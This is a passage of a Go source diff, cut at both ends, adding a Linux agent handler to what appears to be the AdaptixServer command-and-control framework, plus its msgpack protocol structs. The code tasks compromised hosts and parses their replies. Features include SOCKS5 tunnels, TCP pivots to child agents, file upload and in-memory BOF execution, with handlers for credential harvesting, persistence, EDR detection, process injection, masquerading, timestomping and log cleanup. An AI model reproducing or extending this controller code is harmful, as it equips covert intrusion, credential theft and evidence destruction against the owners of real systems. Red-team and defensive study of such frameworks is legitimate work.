subcommand == "start" { + address, err := getStringArg(args, "address") + if err != nil { + goto RET + } + + auth := getBoolArg(args, "-a") + if auth { + username, err := getStringArg(args, "username") + if err != nil { + goto RET + } + password, err := getStringArg(args, "password") + if err != nil { + goto RET + } + + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password) + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) + + } else { + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "") + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) + } + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopSocks(agentData.Id, port) + + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.Message = "Socks5 server has been stopped" + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "upload": + remote_path, err := getStringArg(args, "remote_path") + if err != nil { + goto RET + } + localFile, err := getStringArg(args, "local_file") + if err != nil { + goto RET + } + + fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) + if decodeErr != nil { + err = decodeErr + goto RET + } + + zipContent, zipErr := ZipBytes(fileContent, remote_path) + if zipErr != nil { + err = zipErr + goto RET + } + + chunkSize := 0x500000 + bufferSize := len(zipContent) + + inTaskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + Sync: false, + } + + for start := 0; start < bufferSize; start += chunkSize { + fin := start + chunkSize + finish := false + if fin >= bufferSize { + fin = bufferSize + finish = true + } + + inPackerData, _ := msgpack.Marshal(ParamsUpload{ + Path: remote_path, + Content: zipContent[start:fin], + Finish: finish, + }) + inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData} + + if finish { + cmd = inCmd + break + + } else { + inTaskData.Data, _ = msgpack.Marshal(inCmd) + inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) + + Ts.TsTaskCreate(agentData.Id, "", "", inTaskData) + } + } + + case "link": + // TCP pivot — connect to child agent + target, err := getStringArg(args, "target") + if err != nil { + goto RET + } + portF, err := getFloatArg(args, "port") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLink{Address: target, Port: int(portF)}) + cmd = Command{Code: COMMAND_LINK, Data: packerData} + + case "unlink": + pivotName, err := getStringArg(args, "id") + if err != nil { + goto RET + } + pivotId, _, _ := Ts.TsGetPivotInfoByName(pivotName) + if pivotId == "" { + err = fmt.Errorf("pivot %s does not exist", pivotName) + goto RET + } + id, _ := strconv.ParseUint(pivotId, 16, 64) + packerData, _ := msgpack.Marshal(ParamsUnlink{PivotId: uint32(id)}) + cmd = Command{Code: COMMAND_UNLINK, Data: packerData} + + case "execute": + if subcommand == "bof" { + taskData.Type = adaptix.TASK_TYPE_JOB + + bofFile, err := getStringArg(args, "bof") + if err != nil { + goto RET + } + bofContent, err := base64.StdEncoding.DecodeString(bofFile) + if err != nil { + goto RET + } + + var params []byte + paramData, ok := args["param_data"].(string) + if ok { + params, err = base64.StdEncoding.DecodeString(paramData) + if err != nil { + params = []byte(paramData) + } + } + + packerData, _ := msgpack.Marshal(ParamsBof{ + Content: bofContent, + Args: params, + EntryFunc: "go", + }) + + asyncFlag := getBoolArg(args, "async") + if asyncFlag { + cmd = Command{Code: COMMAND_EXEC_BOF_ASYNC, Data: packerData} + } else { + cmd = Command{Code: COMMAND_EXEC_BOF, Data: packerData} + } + } else { + err = errors.New("subcommand must be 'bof'") + goto RET + } + + default: + err = errors.New(fmt.Sprintf("Command '%v' not found", command)) + goto RET + } + + taskData.Data, _ = msgpack.Marshal(cmd) + +RET: + return taskData, messageData, err +} + +func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + var outTasks []adaptix.TaskData + + taskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + FinishDate: time.Now().Unix(), + MessageType: adaptix.MESSAGE_SUCCESS, + Completed: true, + Sync: true, + } + + var ( + inMessage Message + cmd Command + job Job + ) + + err := msgpack.Unmarshal(decryptedData, &inMessage) + if err != nil { + return errors.New("failed to unmarshal message") + } + + if inMessage.Type == 1 { + + for _, cmdBytes := range inMessage.Object { + err = msgpack.Unmarshal(cmdBytes, &cmd) + if err != nil { + continue + } + + TaskId := cmd.Id + commandId := cmd.Code + task := taskData + task.TaskId = fmt.Sprintf("%08x", TaskId) + + switch commandId { + + case COMMAND_CAT: + var params AnsCat + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("'%v' file content:", params.Path) + task.ClearText = string(params.Content) + + case COMMAND_CD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_CP: + task.Message = "Object copied successfully" + + case COMMAND_PWD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_KILL: + task.Message = "Process killed" + + case COMMAND_GETUID: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "User info:" + task.ClearText = params.Output + + case COMMAND_ENV: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Environment variables:" + task.ClearText = params.Output + + case COMMAND_NETSTAT: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Network connections:" + task.ClearText = params.Output + + case COMMAND_MOUNTS: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Mount points:" + task.ClearText = params.Output + + case COMMAND_EDR: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Security tool detection:" + task.ClearText = params.Output + + case COMMAND_CREDS: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Credential harvest:" + task.ClearText = params.Output + + case COMMAND_PERSIST: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Persistence:" + task.ClearText = params.Output + + case COMMAND_CONTAINER: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Container/Cloud info:" + task.ClearText = params.Output + + case COMMAND_MASQUERADE: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Process masquerade:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_TIMESTOMP: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Timestomp:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_CLEANLOG: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Log cleanup:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_INJECT: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Process injection:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_MIGRATE: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Migration:" + task.ClearText = ans.Output + + case COMMAND_LINK: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Link failed:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsLink + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + // params.Beat contains the child agent's encrypted init data + // params.Watermark is the child's watermark identifier + watermark := fmt.Sprintf("%08x", params.Watermark) + childAgentId, linkErr := Ts.TsListenerInteralHandler(watermark, params.Beat) + if linkErr != nil || childAgentId == "" { + task.Message = fmt.Sprintf("Link failed: listener handler error for watermark %s", watermark) + task.MessageType = adaptix.MESSAGE_ERROR + break + } + _ = Ts.TsPivotCreate(task.TaskId, agentData.Id, childAgentId, "", false) + + task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true) + + case COMMAND_UNLINK: + var params AnsUnlink + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + + pivotId := fmt.Sprintf("%08x", params.PivotId) + pivotType := params.Type + + _, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId) + + messageParent := "" + messageChild := "" + if pivotType == 2 { + messageParent = fmt.Sprintf("TCP agent %s connection reset", childAgentId) + messageChild = " ----- TCP agent connection reset ----- " + } else if pivotType == 10 { + messageParent = fmt.Sprintf("Pivot agent %s connection reset", childAgentId) + messageChild = " ----- Pivot agent connection reset ----- " + } + + if pivotType != 0 { + _ = Ts.TsPivotDelete(pivotId) + if TaskId == 0 { + // Auto-disconnect from process_pivots — no task to update + Ts.TsAgentConsoleOutput(parentAgentId, adaptix.MESSAGE_SUCCESS, messageParent, "\n", true) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) + continue + } else { + task.Message = messageParent + } + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) + } + + case COMMAND_PIVOT_EXEC: + var params AnsPivotExec + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + pivotId := fmt.Sprintf("%08x", params.PivotId) + _, _, childAgentId := Ts.TsGetPivotInfoById(pivotId) + _ = Ts.TsAgentProcessData(childAgentId, params.Data) + continue // silent relay — no task output + + case COMMAND_EXEC_BOF: + var bofOut AnsBofOutput + if err := msgpack.Unmarshal(cmd.Data, &bofOut); err != nil { + task.Message = "BOF finished" + task.Completed = true + break + } + switch bofOut.Type { + case BOF_ERROR_PARSE: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Parse BOF error: " + bofOut.Output + case BOF_ERROR_SYMBOL: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Symbol not found: " + bofOut.Output + case BOF_ERROR_ENTRY: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Entry function not found" + case BOF_ERROR_ALLOC: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Error allocation of BOF memory" + case BOF_ERROR_RELOC: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Relocation failed: " + bofOut.Output + case CALLBACK_ERROR: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF output" + task.ClearText = bofOut.Output + default: + task.MessageType = adaptix.MESSAGE_SUCCESS + task.Message = "BOF output" + task.ClearText = bofOut.Output + } + + case COMMAND_EXEC_BOF_ASYNC: + task.Message = "Async BOF started" + task.Completed = false + + case COMMAND_EXIT: + task.Message = "The agent has completed its work (kill process)" + _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId) + + case COMMAND_JOB_LIST: + var params AnsJobList + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var jobList []JobInfo + err = msgpack.Unmarshal(params.List, &jobList) + if err != nil { + continue + } + + Output := "" + if len(jobList) > 0 { + Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type") + Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------") + + for _, value := range jobList { + stringType := "Unknown" + if value.JobType == 0x2 { + stringType = "Download" + } else if value.JobType == 0x3 { + stringType = "Process" + } + + Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType) + } + + task.Message = "Job list:" + task.ClearText = Output + } else { + task.Message = "No active jobs" + } + + case COMMAND_JOB_KILL: + task.Message = "Job killed" + + case COMMAND_LS: + var params AnsLs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var items []adaptix.ListingFileDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Files []FileInfo + err := msgpack.Unmarshal(params.Files, &Files) + if err != nil { + continue + } + + filesCount := len(Files) + if filesCount == 0 { + task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path) + } else { + + modeFsize := 1 + lnkFsize := 1 + userFsize := 1 + groupFsize := 1 + sizeFsize := 1 + dateFsize := 1 + + for _, f := range Files { + val := fmt.Sprintf("%d", f.Nlink) + if len(val) > lnkFsize { + lnkFsize = len(val) + } + val = fmt.Sprintf("%d", f.Size) + if len(val) > sizeFsize { + sizeFsize = len(val) + } + if len(f.Mode) > modeFsize { + modeFsize = len(f.Mode) + } + if len(f.User) > userFsize { + userFsize = len(f.User) + } + if len(f.Group) > groupFsize { + groupFsize = len(f.Group) + } + if len(f.Date) > dateFsize { + dateFsize = len(f.Date) + } + } + + format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize) + OutputText := "" + for _, fi := range Files { + OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename) + + fileData := adaptix.ListingFileDataUnix{ + IsDir: fi.IsDir, + Mode: fi.Mode, + User: fi.User, + Group: fi.Group, + Size: fi.Size, + Date: fi.Date, + Filename: fi.Filename, + } + + items = append(items, fileData) + } + + task.Message = fmt.Sprintf("Listing '%s'", params.Path) + task.ClearText = OutputText + } + } + Ts.TsClientGuiFilesUnix(task, params.Path, items) + + case COMMAND_MKDIR: + task.Message = "Directory created successfully" + + case COMMAND_MV: + task.Message = "Object moved successfully" + + case COMMAND_PS: + var params AnsPs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var proclist []adaptix.ListingProcessDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Processes []PsInfo + err := msgpack.Unmarshal(params.Processes, &Processes) + if err != nil { + continue + } + + procCount := len(Processes) + if procCount == 0 { + task.Message = "Failed to get process list" + task.MessageType = adaptix.MESSAGE_ERROR + break + } else { + pidFsize := 3 + ppidFsize := 4 + ttyFsize := 3 + contextFsize := 7 + processFsize := 7 + + for _, p := range Processes { + val := fmt.Sprintf("%d", p.Pid) + if len(val) > pidFsize { + pidFsize = len(val) + } + val = fmt.Sprintf("%d", p.Ppid) + if len(val) > ppidFsize { + ppidFsize = len(val) + } + if len(p.Tty) > ttyFsize { + ttyFsize = len(p.Tty) + } + if len(p.Context) > contextFsize { + contextFsize = len(p.Context) + } + if len(p.Process) > processFsize { + processFsize = len(p.Process) + } + + procData := adaptix.ListingProcessDataUnix{ + Pid: uint(p.Pid), + Ppid: uint(p.Ppid), + TTY: p.Tty, + Context: p.Context, + ProcessName: p.Process, + } + + proclist = append(proclist, procData) + } + + format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize) + OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process") + OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------") + + for _, p := range Processes { + OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process) + } + + task.Message = "Process list:" + task.ClearText = OutputText + } + } + Ts.TsClientGuiProcessUnix(task, proclist) + + case COMMAND_RM: + task.Message = "Object removed successfully" + + case COMMAND_SHELL: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Shell error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Shell command output:" + task.ClearText = params.Output + + case COMMAND_UPLOAD: + var params AnsUpload + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("File uploaded: %s", params.Path) + + case COMMAND_ERROR: + var params AnsError + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Error:" + task.ClearText = params.Error + task.MessageType = adaptix.MESSAGE_ERROR + + case COMMAND_DOWNLOAD: + task.Message = "Download started" + task.Completed = false + + case COMMAND_RUN: + task.Message = "Process started (async)" + task.Completed = false + + // Tunnel MUX responses (transparent — no task UI, route directly to Ts*) + case COMMAND_TUNNEL_STATUS: + var params AnsTunnelStatus + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + if params.Success { + Ts.TsTunnelConnectionResume(agentData.Id, params.ChannelId, false) + } else { + errorCode := adaptix.SOCKS5_HOST_UNREACHABLE + if params.Reason == 5 { // connection refused + errorCode = adaptix.SOCKS5_CONNECTION_REFUSED + } + Ts.TsTunnelConnectionHalt(params.ChannelId, errorCode) + } + } + continue + + case COMMAND_TUNNEL_DATA: + var params AnsTunnelData + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + Ts.TsTunnelConnectionData(params.ChannelId, params.Data) + } + continue + + case COMMAND_TUNNEL_CLOSE: + var params AnsTunnelClose + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + Ts.TsTunnelConnectionClose(params.ChannelId, false) + } + continue + + // Agent backpressure responses (transparent) + case COMMAND_TUNNEL_PAUSE: + // Agent says: my write buffer is full, stop sending TUNNEL_WRITE + // The teamserver handles this via TsTunnelConnectionClose with writeOnly + continue + + case COMMAND_TUNNEL_RESUME: + // Agent says: write buffer drained, resume TUNNEL_WRITE + continue + + case COMMAND_TUNNEL_WRITE: + // This should never come from agent→teamserver, ignore + continue + + case COMMAND_TUNNEL_START: + task.Message = "Tunnel starting" + task.Completed = false + + case COMMAND_TUNNEL_STOP: + task.Message = "Tunnel stopped" + + case COMMAND_TERMINAL_START: + task.Message = "Terminal starting" + task.Completed = false + + case COMMAND_TERMINAL_STOP: + task.Message = "Terminal stopped" + + default: + task.Message = "Unknown response" + task.MessageType = adaptix.MESSAGE_ERROR + } + + outTasks = append(outTasks, task) + } + + } else if inMessage.Type == 2 { + + for _, jobBytes := range inMessage.Object { + + err = msgpack.Unmarshal(jobBytes, &job) + if err != nil { + continue + } + + commandId := job.CommandId + + switch commandId { + + case COMMAND_DOWNLOAD: + var params AnsDownload + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + fileId := fmt.Sprintf("%08x", params.FileId) + + if params.Start { + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size)) + } + + _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) + + if params.Finish { + if params.Canceled { + _ = Ts.TsDownloadClose(fileId, 4) + } else { + _ = Ts.TsDownloadClose(fileId, 3) + } + } + + case COMMAND_RUN: + var params AnsRun + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + task.Completed = params.Finish + + if params.Start { + task.Completed = false + task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid) + task.ClearText = "\n" + + } else if params.Finish { + task.Message = "Process finished" + task.ClearText = "\n" + + } else { + task.Completed = false + task.Message = "" + + if len(params.Stderr) > 0 { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "Stderr:" + task.ClearText = params.Stderr + } + if len(params.Stdout) > 0 { + task.ClearText = params.Stdout + } + } + + outTasks = append(outTasks, task) + + // NOTE: Tunnel commands no longer come through Type 2 (Job). + // Tunnel MUX data flows in Type 1 (Command) via process_tunnels(). + + case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP: + termTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, termTask) + + case COMMAND_EXEC_BOF_OUT: + var bofOut AnsBofOutput + if err := msgpack.Unmarshal(job.Data, &bofOut); err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + + if bofOut.Type == 0xFF { + // Sentinel: async BOF finished + task.Message = "Async BOF finished" + task.Completed = true + task.ClearText = "\n" + } else if bofOut.Type == CALLBACK_ERROR { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF output" + task.ClearText = bofOut.Output + task.Completed = false + } else if bofOut.Type >= 0x100 { + // BOF error codes + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = bofOut.Output + task.Completed = true + } else { + task.MessageType = adaptix.MESSAGE_SUCCESS + task.Message = "BOF output" + task.ClearText = bofOut.Output + task.Completed = false + } + + outTasks = append(outTasks, task) + } + } + } + + for _, task := range outTasks { + Ts.TsTaskUpdate(agentData.Id, task) + } + + _ = job + + return nil +} diff --git a/AdaptixServer/extenders/linux_agent/pl_utils.go b/AdaptixServer/extenders/linux_agent/pl_utils.go new file mode 100644 index 000000000..aa75878f7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_utils.go @@ -0,0 +1,515 @@ +package main + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "regexp" + "strconv" +) + +/// Protocol types — msgpack structs for agent communication +/// These are COPIED from macOS agent, not shared. +/// Any Linux-specific additions go here without affecting macOS/beacon/gopher. + +type Profile struct { + Type uint `msgpack:"type"` + ListenerWatermark uint `msgpack:"listener_watermark"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` + BindPort int `msgpack:"bind_port"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Message types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +/// Answer / Params structs + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelWrite struct { + ChannelId int `msgpack:"channel_id"` + Data []byte `msgpack:"data"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +// Tunnel MUX responses (agent → teamserver) +type AnsTunnelStatus struct { + ChannelId int `msgpack:"channel_id"` + Success bool `msgpack:"success"` + Reason int `msgpack:"reason"` +} + +type AnsTunnelData struct { + ChannelId int `msgpack:"channel_id"` + Data []byte `msgpack:"data"` +} + +type AnsTunnelClose struct { + ChannelId int `msgpack:"channel_id"` + Reason int `msgpack:"reason"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` 